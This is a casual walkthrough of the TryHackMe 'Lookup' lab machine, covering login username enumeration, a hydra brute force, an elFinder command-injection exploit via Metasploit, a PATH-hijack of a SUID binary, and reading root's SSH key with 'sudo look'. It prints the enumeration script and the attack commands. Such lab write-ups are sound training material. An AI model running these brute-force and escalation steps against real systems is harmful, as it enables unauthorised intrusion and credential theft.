TryHackMe Lookup Walkthrough: Recon, Exploitation & Privilege Escalation
Detailed walkthrough of the TryHackMe Lookup machine, covering recon, username/password enumeration, elFinder exploitation, SUID binary abuse, and PATH hijacking for root.
TryHackMe Machine: lookup was on a break cus of clg nd shits.. and now after so long re-starting my system :>
about the room: it’s all bout recon, scanning, and enumeration , find hidden services and subdomains, then abuse the ones that look vulnerable.
step 1: initial setup
- connected to the thm vpn and started the machine
- added the
<machine_ip>tolookup.thmin my hosts (used my own tool ctfhost cause im lazy :3)
observation time
- with
lookup.thmresolving, i visitedhttp://lookup.thm/, single login page, nice target. - tried global creds
admin:admin(classic move) , got a “wrong password” message. dumb but fast checks save time. - that exact error text
"Wrong password. Please try again. Redirecting in 3 seconds."leaked thatadminis a valid username (error pages be loud). tested a few other usernames to confirm it wasn’t a generic error , turns outadminwas legit. lucky charm :> - asked gpt to spit a tiny python bruteforce that enumerates usernames from
seclists(names list) against the login , used it to quickly check which usernames exist. script below.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/usr/bin/env python3
import os,sys,time,argparse,requests
from pathlib import Path
URL="http://lookup.thm/login.php"
def find_wordlist(name="names.txt",start="/"):
for root,dirs,files in os.walk(start,onerror=lambda e:None):
if name in files:
return Path(root)/name
return None
p=find_wordlist()
parser=argparse.ArgumentParser()
parser.add_argument("--pw","-p",default="password")
parser.add_argument("--dry",action="store_true")
parser.add_argument("--delay","-d",type=float,default=0.5)
args=parser.parse_args()
if not p:
print("wordlist not found"); sys.exit(1)
s=requests.Session()
h={"User-Agent":"Mozilla/5.0"}
for ln in p.read_text(errors="ignore").splitlines():
u=ln.strip()
if not u: continue
data={"username":u,"password":args.pw}
if args.dry:
print(data); continue
try:
r=s.post(URL,data=data,headers=h,timeout=6,allow_redirects=False)
except requests.RequestException as e:
print("request error:",e); break
t=r.text.lower()
if any(x in t for x in ("wrong password","invalid password","password incorrect")):
print("username found:",u)
time.sleep(args.delay)
and wowhh :3 found larry , one was admin, another one was jose.
- time to bruteforce
josewith hydra (rockyou):
1
hydra -l jose -P /usr/share/wordlists/rockyou.txt lookup.thm http-post-form "/login.php:username=^USER^&password=^PASS^:Wrong" -V
mother luck was on our side , found the password: ********123 (hehe lookout forursefl)
- after login we got redirected to
http://files.lookup.thm/, addfiles.lookup.thmto hosts and go check it out. - boom , an elFinder file manager popped up. whole file system access-ish and a bunch of files that look like passwords.
- plan: find elFinder version to search for public exploits to pwn
elfinder -> exploit
- found version by clicking the
?icon in the UI to version = 2.1.47 searchsploit+ web check: there is a known exploit forelFinder PHP Connector < 2.1.48, command injection withexiftran(metasploit module exists). taadddaa, MSF module ready.- let’s use it quick , follow the usual msfconsole setup… (search elFinder and selected 4)
- ChatGPT for the win! (also note: the username wordlist path is hard-coded in my script , change it if you want another list)
after the pwn , pivoting to shell
after using the msf module (set RHOSTS to files.lookup.thm, set LHOST to my ubuntu ip, run exploit), we got a shell as www-data.
privilege escalation , part 1
- checked
/etc/passwdto saw userthinkandroot. - ls
think’s home , there is a.passwordsfile but no read permission. interesting. - searched for suid binaries:
1
find / -perm /4000 2>/dev/null
/usr/sbin/pwmcaught my eye , not a default binary, owned by root.- running it printed something that included
idoutput and then tried to write into/home/<user>/.passwords, looks like it runsidand parses the username. - if the binary calls
idwithout full path, it will resolveidviaPATH, that’s our injection vector.
so i added /tmp to PATH and dropped a fake id there:
1
2
3
4
5
6
7
8
9
export PATH=/tmp:$PATH
cat > /tmp/id <<'SH'
#!/bin/sh
printf "uid=1000(think) gid=1000(think) groups=1000(think)\n"
SH
chmod +x /tmp/id
# run the binary
/usr/sbin/pwm
bingo , pwm parsed think as the username and printed a password list (saved it or copied it out). saved the creds and tried ssh.
1
2
ssh think@lookup.thm
# password: <from pwm output>
login success , we’re think now.
privilege escalation , part 2
- checked
sudo -lfor think to can runlookas root. - checked GTFOBins:
lookcan be abused to read files when run as root. - fastest win: read root’s
~/.ssh/id_rsaand grab root ssh key.
1
2
3
4
# as think
sudo -l
# to read root ssh key (example using gtfobins technique)
sudo look /root/.ssh/id_rsa
save the key locally, set proper perms and ssh in as root:
1
2
chmod 600 id_rsa
ssh -i id_rsa root@lookup.thm
and that’s it , lookup is R00T3D. r00t: acquired. :p
tl;dr
- quick dns tweak (ctfhost) to site up
- username enumeration via tiny python script to
admin,jose - hydra with rockyou to cracked jose
- files.lookup.thm to elFinder 2.1.47 to metasploit module (exiftran cmd injection) to shell as
www-data - suid binary
/usr/sbin/pwmabused via PATH trick to leakedthinkcreds to ssh asthink thinkcan sudolookto read root ssh key to ssh as root
how i did it (copy-paste snippets)
1
2
3
4
5
6
7
8
9
10
11
12
13
# hosts
echo "<machine_ip> lookup.thm files.lookup.thm" | sudo tee -a /etc/hosts
# quick nmap
nmap -sC -sV -p- lookup.thm
# hydra example
hydra -l jose -P /usr/share/wordlists/rockyou.txt lookup.thm http-post-form "/login.php:username=^USER^&password=^PASS^:Wrong" -V
# pwm exploit path trick
scp id_rsa root@kali:/tmp/ # example
chmod 600 id_rsa
ssh -i id_rsa root@lookup.thm
notes & pro tips (for future me)
- error messages leak , that
redirecting in 3 secondstold us admin exists. read every sentence. :3 - use small focused lists first (common user lists) before blasting huge wordlists , saves time and noise.
- when bruteforcing, check body text and response length, not just status codes , forms redirect/302 a lot.
- elFinder versions are clickable in UI (look for
?or the footer) , always check the UI for version strings. - when a suid binary uses plain
idor other common utils, PATH hijack is your friend.